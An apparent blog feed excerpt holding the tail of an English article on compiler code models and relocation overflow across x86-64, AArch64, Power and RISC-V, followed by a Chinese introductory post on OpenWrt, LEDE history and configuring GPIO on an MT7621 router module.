&lt;p&gt;I have changed GCC 14 to make &lt;code&gt;-mcmodel=large&lt;&#x2F;code&gt; respect&lt;code&gt;-mlarge-data-threshold&lt;&#x2F;code&gt; and generate large data sections as well. Previously, the data sections built with&lt;code&gt;-mcmodel=large&lt;&#x2F;code&gt; may exert relocation pressure on sections in object files with &lt;code&gt;-mcmodel=small&lt;&#x2F;code&gt;. Please refer to this x86-64-abi discussion: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;groups.google.com&#x2F;g&#x2F;x86-64-abi&#x2F;c&#x2F;jnQdJeabxiU&quot;&gt;Large data sections for the large code model&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I implemented &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;PR30592&quot;&gt;https:&#x2F;&#x2F;sourceware.org&#x2F;PR30592&lt;&#x2F;a&gt; so with binutils 2.42 you can use&lt;code&gt;objcopy --set-section-flags .lrodata=alloc,readonly,large --set-section-flags .ldata=alloc,large a.o b.o&lt;&#x2F;code&gt;to set &lt;code&gt;SHF_X86_64_LARGE&lt;&#x2F;code&gt; flag for large data sections. I filed a feature request &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;PR30623&quot;&gt;objcopy --set-section-flags: support toggling a flag&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The psABI mentions &lt;code&gt;.ltext&lt;&#x2F;code&gt;, &lt;code&gt;.lgot&lt;&#x2F;code&gt;, and&lt;code&gt;.lplt&lt;&#x2F;code&gt;, but GNU ld doesn&#x27;t do anything with these sections and GCC doesn&#x27;t generate &lt;code&gt;.ltext&lt;&#x2F;code&gt; sections. I don&#x27;t think that &lt;code&gt;.ltext&lt;&#x2F;code&gt; is necessary. We just need to implement range extension thunks in the rare case that the ±2GiB range of&lt;code&gt;call callee&lt;&#x2F;code&gt; becomes a problem.&lt;&#x2F;p&gt;
&lt;p&gt;Placing &lt;code&gt;.ltext&lt;&#x2F;code&gt; after &lt;code&gt;.ldata&lt;&#x2F;code&gt; may raise an interesting question of whether we should place the linker-defined symbols &lt;code&gt;_end&lt;&#x2F;code&gt; and &lt;code&gt;end&lt;&#x2F;code&gt;. If &lt;code&gt;.lgot&lt;&#x2F;code&gt; is not implemented and &lt;code&gt;.got&lt;&#x2F;code&gt; is reused, placing&lt;code&gt;.ltext&lt;&#x2F;code&gt; at the end may end up increasing its distance to&lt;code&gt;.got&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;aarch64-code-models&quot;&gt;AArch64 code models&lt;&#x2F;h2&gt;
&lt;p&gt;Likewise, the psABI defines multiple code models. The small code model allows for a maximum text segment size of 2GiB and a maximum combined span of text and data segments of 4GiB. For small position-independent code (pic), there is an additional restriction on the size of the Global Offset Table (GOT), which must be smaller than 32KiB. The maximum combined span of text and data segments is larger than that of x86-64.&lt;&#x2F;p&gt;
&lt;p&gt;Linked object file sizes for AArch64 and x86-64 are comparable, but AArch64 linked object files are more resistant to relocation overflows.&lt;&#x2F;p&gt;
&lt;p&gt;For data references from code, x86-64 uses&lt;code&gt;R_X86_64_REX_GOTPCRELX&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;R_X86_64_PC32&lt;&#x2F;code&gt;relocations, which have a smaller range &lt;code&gt;[-2**31,2**31)&lt;&#x2F;code&gt;. In contrast, AArch64 employs &lt;code&gt;R_AARCH64_ADR_PREL_PG_HI21&lt;&#x2F;code&gt;relocations, which has a doubled range of &lt;code&gt;[-2**32,2**32)&lt;&#x2F;code&gt;. This larger range makes it unlikely for AArch64 to encounter relocation overflow issues before the binary becomes excessively oversized for x86-64.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bl      callee               &amp;#x2F;&amp;#x2F; R_AARCH64_CALL26; [-2**27, 2**27)
adrp    x8, var0             &amp;#x2F;&amp;#x2F; R_AARCH64_ADR_PREL_PG_HI21; [-2**32,2**32)
ldr     w8, [x8, :lo12:var0] &amp;#x2F;&amp;#x2F; R_AARCH64_LDST32_ABS_LO12_NC
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For function calls, the shorter range of&lt;code&gt;R_AARCH64_CALL26&lt;&#x2F;code&gt; doesn&#x27;t matter. The linker will generate&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;maskray.me&#x2F;blog&#x2F;2023-03-05-linker-notes-on-aarch64&quot;&gt;range extension thunks&lt;&#x2F;a&gt; if &lt;code&gt;callee&lt;&#x2F;code&gt; is not directly reachable.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  b       __AArch64AbsLongThunk_callee
...
__AArch64AbsLongThunk_callee:
  ldr     x16, .+8
  br      x16
  .xword  callee
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ARM-software&#x2F;abi-aa&#x2F;blob&#x2F;main&#x2F;sysvabi64&#x2F;sysvabi64.rst&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;ARM-software&#x2F;abi-aa&#x2F;blob&#x2F;main&#x2F;sysvabi64&#x2F;sysvabi64.rst&lt;&#x2F;a&gt;summarizes compiler support. GCC and Clang don&#x27;t implement&lt;code&gt;-mcmodel=large&lt;&#x2F;code&gt; for PIC. GCC and Clang don&#x27;t implement&lt;code&gt;-mcmodel=medium&lt;&#x2F;code&gt;. This makes sense as we haven&#x27;t identified a use case for the unimplemented models yet.&lt;&#x2F;p&gt;
&lt;p&gt;Nevertheless, let&#x27;s see the code sequence for the position-dependent large code model.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; aarch64-linux-gnu-gcc -S -O1 -mcmodel=large -fno-pic
bl      callee
adrp    x1, .LC0
ldr     x1, [x1, #:lo12:.LC0]
ldr     w1, [x1]
add     w0, w0, w1
adrp    x1, .LC1
ldr     x1, [x1, #:lo12:.LC1]
ldr     w1, [x1]
add     w0, w0, w1
...
        .align  3
.LC0:
        .xword  .LANCHOR0
        .align  3
.LC1:
        .xword  var1
        .global var0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;call callee&lt;&#x2F;code&gt; is still used since we can use linker-synthesized range extension thunks. Accessing data symbols requires indirection through an 64-bit absolute symbol.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;power-architecture-code-models&quot;&gt;Power architecture code models&lt;&#x2F;h2&gt;
&lt;p&gt;Object file sizes are usually much larger than x86-64&#x27;s.&lt;&#x2F;p&gt;
&lt;p&gt;GCC defaults to the medium code model, which is like x86-64 and AArch64&#x27;s small code model. Data symbols and TOC&#x2F;GOT entries are assumed to be within the &lt;code&gt;[-0x80008000, 0x7fff8000)&lt;&#x2F;code&gt; range from the TOC.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# powerpc64le-linux-gnu-gcc -S -O1 -fpie -mcmodel=medium -mcpu=power10 a.c
bl callee@notoc            # R_PPC64_REL24_NOTOC
pld 9,var1@got@pcrel       # R_PPC64_GOT_PCREL34; r9 = &amp;amp;.got[n] for var1
lwz 10,0(9)                # load from &amp;amp;.got[n]
plwz 8,.LANCHOR0@pcrel     # R_PPC64_PCREL34; load from &amp;amp;var0
add 9,10,8
add 9,9,3
extsw 3,9
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In the large code model, GCC simply uses GOT-indirect addressing to access data symbols, including the non-preemptible ones. This maintains the assumption that the GOT entries are within the&lt;code&gt;[-0x80008000, 0x7fff8000)&lt;&#x2F;code&gt; range from the TOC, so the large code model is more limited than x86-64&#x27;s.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;addis 9,2,.LC0@toc@ha      # R_PPC64_TOC16_HA; [-0x80008000, 0x7fff8000)
ld 9,.LC0@toc@l(9)         # R_PPC64_TOC16_LO_DS
lwz 8,0(9)
addis 9,2,.LC1@toc@ha      # R_PPC64_TOC16_HA; [-0x80008000, 0x7fff8000)
ld 9,.LC1@toc@l(9)         # R_PPC64_TOC16_LO_DS
lwz 10,0(9)
add 9,10,8
add 9,9,3
extsw 3,9
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;risc-v-code-models&quot;&gt;RISC-V code models&lt;&#x2F;h2&gt;
&lt;p&gt;See &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;riscv-non-isa&#x2F;riscv-elf-psabi-doc&#x2F;pull&#x2F;388&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;riscv-non-isa&#x2F;riscv-elf-psabi-doc&#x2F;pull&#x2F;388&lt;&#x2F;a&gt;for a proposal to add a large code model.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mitigation&quot;&gt;Mitigation&lt;&#x2F;h2&gt;
&lt;p&gt;There are several strategies to mitigate relocation overflow issues.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Make the program smaller by reducing code and data size.&lt;&#x2F;li&gt;
&lt;li&gt;Partition the large monolithic executable into the main executable and a few shared objects.&lt;&#x2F;li&gt;
&lt;li&gt;Switch to the medium code model&lt;&#x2F;li&gt;
&lt;li&gt;Use compiler options such as &lt;code&gt;-Os&lt;&#x2F;code&gt;, &lt;code&gt;-Oz&lt;&#x2F;code&gt; and link-time optimization that focuses on decreasing the code size.&lt;&#x2F;li&gt;
&lt;li&gt;For compiler instrumentations (e.g. &lt;code&gt;-fsanitize=address&lt;&#x2F;code&gt;,&lt;code&gt;-fprofile-generate&lt;&#x2F;code&gt;), move some data to large data sections.&lt;&#x2F;li&gt;
&lt;li&gt;Use linker script commands &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;maskray.me&#x2F;blog&#x2F;2021-07-04-sections-and-overwrite-sections#insert-before-and-insert-after&quot;&gt;&lt;code&gt;INSERT BEFORE&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;maskray.me&#x2F;blog&#x2F;2021-07-04-sections-and-overwrite-sections#insert-before-and-insert-after&quot;&gt;and &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;maskray.me&#x2F;blog&#x2F;2021-07-04-sections-and-overwrite-sections#insert-before-and-insert-after&quot;&gt;&lt;code&gt;INSERT AFTER&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; to reorder output sections.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;debug-information&quot;&gt;Debug information&lt;&#x2F;h2&gt;
&lt;p&gt;For large executables, it is possible to encounter DWARF32 limitation (e.g. &lt;code&gt;relocation R_X86_64_32 out of range&lt;&#x2F;code&gt;). I will address this topic in another article.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;just-in-time-compilation&quot;&gt;Just-in-time compilation&lt;&#x2F;h2&gt;
&lt;p&gt;Just-in-time compilation systems generate code and data on the fly. if the memory mapping backing code is far away from the caller&#x2F;callee, a large code model may be needed as well. Since the addresses are known, many uses case can choose the static relocation model and use the non-PIC large code model variant.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OpenWrt与嵌入式Linux</title>
        <published>2024-09-08T00:00:00+00:00</published>
        <updated>2024-09-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/openwrt与嵌入式linux/"/>
        <id>https://vercel.juzhong.asia/obsidian/openwrt与嵌入式linux/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/openwrt与嵌入式linux/">&lt;h1 id=&quot;openwrtyu-qian-ru-shi-linux&quot;&gt;OpenWrt与嵌入式Linux&lt;&#x2F;h1&gt;
&lt;p&gt;由于要接手学长留下来的一个项目，“被迫”要学习OpenWrt的配置方法——虽然对于一个five电工来说这事挺莫名其妙的，但还是硬着头皮上吧（我本想拒绝，但他给的是在太多了）&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;openwrt.org&#x2F;&quot;&gt;官网&lt;&#x2F;a&gt;中这样描述OpenWrt&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenWrt项目是一个针对&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E5%B5%8C%E5%85%A5%E5%BC%8F&amp;amp;spm=1001.2101.3001.7020&quot;&gt;嵌入式&lt;&#x2F;a&gt;设备的Linux操作系统。OpenWrt不是一个单一且不可更改的固件，而是提供了具有软件包管理功能的完全可写的文件系统。这使您可以从供应商提供的应用范围和配置中解脱出来，并且让您通过使用适配任何应用的软件包来定制设备。对于开发人员来说，OpenWrt是一个无需围绕它构建完整固件就能开发应用程序的框架; 对于普通用户来说，这意味着拥有了完全定制的能力，能以意想不到的方式使用该设备。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;听上去很高大上，实际上OpenWrt就和Ubuntu、CentOS、Raspbian等&lt;em&gt;GNU&#x2F;Linux发行版&lt;&#x2F;em&gt;一样，是一个基于Linux内核的操作系统。只不过它具有&lt;strong&gt;高度模块化可定制&lt;&#x2F;strong&gt;的特点，并且自带一系列&lt;strong&gt;网络组件&lt;&#x2F;strong&gt;，因此常常被用于路由器、工控、智能家居、小型交换机中。笔者接手的这个项目就是基于OpenWrt实现&lt;strong&gt;路由器&lt;&#x2F;strong&gt;-交换机的应用，并配置一个&lt;strong&gt;网络摄像头&lt;&#x2F;strong&gt;和一个&lt;strong&gt;网口数据转串口&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;OpenWrt除了以上特点外，还有一个堪称嵌入式Linux杀手锏的特性：==超级大规模的开源社区==。可能是因为大家都很喜欢软路由，OpenWrt的软件包已经达到了好几千，这让它能秒掉一堆其他的嵌入式Linux发行版&lt;&#x2F;p&gt;
&lt;h4 id=&quot;openwrtyu-zhuo-mian-linuxcao-zuo-xi-tong&quot;&gt;OpenWrt与桌面&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=Linux%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F&amp;amp;spm=1001.2101.3001.7020&quot;&gt;Linux操作系统&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;可能大家无法理解OpenWrt这种发行版的独特之处，请允许我在这里为大家重新介绍一下桌面Linux操作系统&lt;&#x2F;p&gt;
&lt;p&gt;一般的桌面操作系统都很难在低性能的嵌入式设备上运行，这是因为两点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;它们需要占用大量的系统资源，尤其是内存用于支持各种deamon的运行
一般的GNU&#x2F;Linux发行版都采用Bash乃至更人性化也更占用资源的Zshell作为终端；而OpenWrt为了适应低性能的处理器，采用更简单的&lt;strong&gt;Ash&lt;&#x2F;strong&gt;作为默认shell。此外，OpenWrt使用的C库是&lt;strong&gt;uClibc&lt;&#x2F;strong&gt;而不是glibc，这是一个面向嵌入式系统的小型C标准库，也有很多RTOS比如FreeRTOS和RT-Thread都采用了这个C库&lt;&#x2F;li&gt;
&lt;li&gt;它们的体积都比较大，一个典型的桌面操作系统占用的存储空间至少在1GB以上
Ubuntu已经膨胀到了2GB，Debian也往往需要占据1GB的硬盘&#x2F;SD卡&#x2F;Flash空间；但OpenWrt具有很强的可裁减性，其内核、驱动、自带软件都可以方便地通过menuconfig进行配置，它的运行内存最小只要32M，存放代码数据的Flash空间最小只要8M，但支持使用完备的Linux内核，支持无线、有线网络应用&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;OpenWrt牺牲了兼容性&lt;&#x2F;strong&gt;，但是由于庞大的开源社区资源，他能够&lt;strong&gt;对大多数网络嵌入式设备提供支持&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;OpenWrt优化了效率和资源占用&lt;&#x2F;strong&gt;，然而因为难以支持更高性能开销的应用导致&lt;strong&gt;其工作范围局限在嵌入式领域&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;openwrtyu-yi-ban-de-qian-ru-shi-linux&quot;&gt;OpenWrt与一般的嵌入式Linux&lt;&#x2F;h4&gt;
&lt;p&gt;一般的嵌入式Linux都具有上面所说的特点，一些介于桌面Linux操作系统和嵌入式Linux操作系统之间并经过特殊优化的操作系统如Raspbian甚至能够提供更高的性能-资源占用比，但是OpenWrt相比一般的嵌入式Linux系统具有强大的多的网络应用：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;默认自带SSH&lt;&#x2F;li&gt;
&lt;li&gt;可选的图形化网络操作界面Luci（Lua Configuration Interface）
这是一个使用Lua脚本语言编写的mvc架构的web框架，包含了openwrt的配置界面和一套扩展API。安装luci-core后只要在浏览器中输入OpenWrt设备的IP地址，即可出现其登录界面，可以通过安装luci扩展app实现对OpenWrt设备方方面面的管理
这个操作界面是对OpenWrt没有图形界面的有效弥补，也是它不同于其他嵌入式Linux的特殊点，这也&lt;strong&gt;使OpenWrt相当好上手&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;自带软路由模块和交换机模块，可配合硬件实现软&#x2F;硬件路由功能&lt;&#x2F;li&gt;
&lt;li&gt;可选搭建VPN&lt;&#x2F;li&gt;
&lt;li&gt;可运行轻量级服务器软件&lt;&#x2F;li&gt;
&lt;li&gt;可运行轻量级流量整形与捕获分析软件
OpenWrt常常被用于搭建软路由，很大程度上就是因为&lt;strong&gt;它支持各种控制网络流量和数据包的应用扩展&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;除了以上网络特性，OpenWrt还支持嵌入式Linux所具有的基本能力，包括对POSIX的兼容和VFS等&lt;&#x2F;p&gt;
&lt;h4 id=&quot;openwrtyu-lede&quot;&gt;OpenWrt与LEDE&lt;&#x2F;h4&gt;
&lt;p&gt;LEDE是一个源于OpenWrt的分支嵌入式Linux系统，最初一批OpenWrt开发者觉得OpenWrt规则太老套，于是fork了OpenWrt的源码，然后创建了LEDE的分支，在里面添加了很多新开发流程和新功能，然后越来越多OpenWrt开发者转移到LEDE，最后二者又在2018年合并，形成了现在的OpenWrt&lt;&#x2F;p&gt;
&lt;p&gt;有的时候OpenWrt源里面会注明LEDE package，其实和OpenWrt一样，把它看成OpenWrt的某个版本即可&lt;&#x2F;p&gt;
&lt;p&gt;官网这样&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;openwrt.org&#x2F;zh&#x2F;about&quot;&gt;解释&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenWrt&#x2F;LEDE是一个为嵌入式设备（通常是无线路由器）开发的高扩展度的GNU&#x2F;Linux发行版。与许多其他路由器的发行版不同，OpenWrt是一个完全为嵌入式设备构建的功能全面、易于修改的由现代Linux内核驱动的操作系统。在实践中，这意味着您可以得到您需要的所有功能，却仍能避免臃肿。&lt;&#x2F;p&gt;
&lt;p&gt;在2016年，LEDE项目作为OpenWrt项目的副产品而诞生，与OpenWrt共享很多相同的目标。该项目旨在成为一个嵌入式Linux版本，能让开发者、系统管理员或其他Linux爱好者轻松的为嵌入式设备特别是无线路由器构建或定制软件。&lt;em&gt;LEDE&lt;&#x2F;em&gt;这一名称代表&lt;em&gt;Linux Embedded Development Environment&lt;&#x2F;em&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;项目成员与OpenWrt社区活跃成员高度重合，他们计划通过建立一个高度透明、注重协作和去中心化的社区为嵌入式Linux的开发带来新生。&lt;&#x2F;p&gt;
&lt;p&gt;LEDE已公布的目标包括:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;构造一个的伟大的嵌入式Linux发行版，运行稳定且功能实用&lt;&#x2F;li&gt;
&lt;li&gt;伴随社区设备测试反馈，形成定期、可预期的版本迭代&lt;&#x2F;li&gt;
&lt;li&gt;通过广泛的社区参与和公开会议，建立透明的决策机制&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;LEDE项目的形成是为解决那些被OpenWrt项目或社区认为无法解决的长远问题&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;活跃核心开发者数量一直很低，而且无法吸引新面孔加入项目。&lt;&#x2F;li&gt;
&lt;li&gt;不可依赖的基础设施，内部不同意和单点故障阻碍了错误修复。&lt;&#x2F;li&gt;
&lt;li&gt;在OpenWrt项目中缺少沟通交流、透明度和协调, 无论是在核心团队内部还是在核心团队和其他团队之间。&lt;&#x2F;li&gt;
&lt;li&gt;没有足够拥有权限的人处理补丁来流，很少关注测试和定期版本。&lt;&#x2F;li&gt;
&lt;li&gt;不重视对稳定性和文档。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;为解决这些问题，LEDE项目采用了与OpenWrt不同的组织架构：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;所有交流频道均是公开的，对非成员只读的频道控制在一个很好的信噪比。&lt;&#x2F;li&gt;
&lt;li&gt;决策过程更公开，拥有投票权的开发者和重度用户数量接近50比50。&lt;&#x2F;li&gt;
&lt;li&gt;大大简化基础设施，确保减少我们的维护工作量。&lt;&#x2F;li&gt;
&lt;li&gt;更开明的合并政策，基于我们在处理Github上OpenWrt软件包反馈信息的经验。&lt;&#x2F;li&gt;
&lt;li&gt;高度重视与简化发布流程合并的自动化测试。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;2018年1月，OpenWrt和以前的LEDE项目同意以OpenWrt这一名称进行合并。&lt;&#x2F;p&gt;
&lt;p&gt;新的、统一的OpenWrt项目将按照 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;openwrt.org&#x2F;zh&#x2F;rules&quot;&gt;由前LEDE项目建立的章程&lt;&#x2F;a&gt; 进行管理。以前的LEDE和OpenWrt项目的积极成员将继续在统一的OpenWrt上工作。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;openwrtman-su-shang-shou&quot;&gt;OpenWrt慢速上手&lt;&#x2F;h3&gt;
&lt;p&gt;之所以这部分名叫《慢速上手》，是因为笔者要从底层开始到建立OpenWrt开发环境的全过程进行梳理，至于为什么——这就是我接手这个项目时遇到的窘境：学长跑路，给我留下了一堆残缺的资料，还有一个时灵时不灵的远程支援（虽然在前期的嵌入式开发debug部分确实给我帮了很大忙，但是怎么还在我滚挂系统的时候幸灾乐祸…这对青少年造成的坏影响，不可估量），于是只能从底层开始&lt;&#x2F;p&gt;
&lt;p&gt;所有我遇到的问题都会在&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;引用栏&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;中说明，避免后来者掉到坑里&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ying-jian&quot;&gt;硬件&lt;&#x2F;h4&gt;
&lt;p&gt;硬件设备使用的是海凌科的MT7621模块，基于联发科7621A SoC开发&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;MIPS架构CPU 1004Kc，双核主频880MHz&lt;&#x2F;li&gt;
&lt;li&gt;256MB内存，32MB片上Flash，16位DDR2&lt;&#x2F;li&gt;
&lt;li&gt;自带片上、板载晶振&lt;&#x2F;li&gt;
&lt;li&gt;3.3V、500mA工作电压电流&lt;&#x2F;li&gt;
&lt;li&gt;JTAG调试接口&lt;&#x2F;li&gt;
&lt;li&gt;双WiFi接口&lt;&#x2F;li&gt;
&lt;li&gt;1个WAN口，4个LAN口，全千兆&lt;&#x2F;li&gt;
&lt;li&gt;2路SPI、1路IIC&lt;&#x2F;li&gt;
&lt;li&gt;I2S、PCM等组成的音频接口&lt;&#x2F;li&gt;
&lt;li&gt;2路USB2.0、3.0接口&lt;&#x2F;li&gt;
&lt;li&gt;3路UART接口&lt;&#x2F;li&gt;
&lt;li&gt;GPIO引出&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h5 id=&quot;gpio&quot;&gt;GPIO&lt;&#x2F;h5&gt;
&lt;p&gt;手头的MT7621 SoC带有GPIO外设，可以通过控制&lt;strong&gt;GPIO_MODE寄存器&lt;&#x2F;strong&gt;来使能对应引脚，默认情况下会直接将GPIO复用到其他外设。GPIO是32位的，每个寄存器控制32个IO&lt;&#x2F;p&gt;
&lt;p&gt;常用寄存器如下所示：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;GPIO_CTRL_X 方向控制寄存器，用于控制GPIO状态为1输出，0输入，2高阻态&lt;&#x2F;li&gt;
&lt;li&gt;GPIO_POL_X 极性控制寄存器&lt;&#x2F;li&gt;
&lt;li&gt;GPIO_DATA_X 数据寄存器，通过读取这个寄存器来获取当前GPIO的值&lt;&#x2F;li&gt;
&lt;li&gt;GPIO_DSET_X 设置寄存器，置1进行使能GPIO&lt;&#x2F;li&gt;
&lt;li&gt;GPIO_DCLR_X 清除寄存器，置1进行失能GPIO&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;使用方法如下：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;登录OpenWrt，使用&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;   reg s 0
   reg w 60 0x48258
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;读取GPIO_MODE寄存器值，&lt;strong&gt;将要配置为GPIO的引脚位设为1&lt;&#x2F;strong&gt;
使用&lt;code&gt;reg r 60&lt;&#x2F;code&gt;查看是否配置成功&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;对应datasheet按照寄存器顺序使用指令&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;reg w &amp;lt;寄存器位&amp;gt; &amp;lt;要写入的寄存器值&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;进行配置
特别地，有些系统中提供了脚本控制的方法，这会使GPIO配置异常简单：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;echo &amp;quot;13&amp;quot; &amp;gt; &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;gpio&amp;#x2F;export #要设置的引脚
echo &amp;quot;out&amp;quot; &amp;gt; &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;gpio&amp;#x2F;gpio13&amp;#x2F;direction #引脚模式
echo &amp;quot;1&amp;quot; &amp;gt; &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;gpio&amp;#x2F;fpio13&amp;#x2F;value #设置GPIO输出值
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当然如果你要给OpenWrt写一套串口驱动，那就必须按照Linux驱动标准来了，这里不再赘述&lt;&#x2F;p&gt;
&lt;h5 id=&quot;spiyu-iic&quot;&gt;SPI与IIC&lt;&#x2F;h5&gt;
&lt;p&gt;OpenWrt是支持SPI、IIC的，只要硬件支持就可以调用这俩东西&lt;&#x2F;p&gt;
&lt;p&gt;相对应的驱动随设备不同而不同，甚至需要在编译时单独加入&lt;&#x2F;p&gt;
&lt;p&gt;特别地，很多屏幕需要使用SPI驱动；很多摄像头需要使用IIC驱动（用来支持SCCB接口），因此最好在编译内核的时候将二者添加进去（占用空间并不是很大）&lt;&#x2F;p&gt;
&lt;h5 id=&quot;lankou&quot;&gt;LAN口&lt;&#x2F;h5&gt;
&lt;p&gt;路由器LAN口用来连接局域网，也就是内网，路由器可以&lt;strong&gt;为LAN口设备提供互联网接入&lt;&#x2F;strong&gt;或&lt;strong&gt;将所有LAN口设备连接到一个VLAN实现交换机目的&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;相关的内容等到之后的配置OpenWrt再说&lt;&#x2F;p&gt;
&lt;h5 id=&quot;wankou&quot;&gt;WAN口&lt;&#x2F;h5&gt;
&lt;p&gt;路由器WAN口用于连接外网，通常会通过某个外部路由器接入互联网&lt;&#x2F;p&gt;
&lt;p&gt;WAN口是路由器的灵魂，没有WAN口的路由器就是个死交换机，有了WAN口，它才能从外网下载程序、实现路由功能等&lt;&#x2F;p&gt;
&lt;p&gt;一般路由器的配置都是单WAN口多LAN口&lt;&#x2F;p&gt;
&lt;p&gt;这里使用的路由模块配备了1WAN口4LAN口&lt;&#x2F;p&gt;
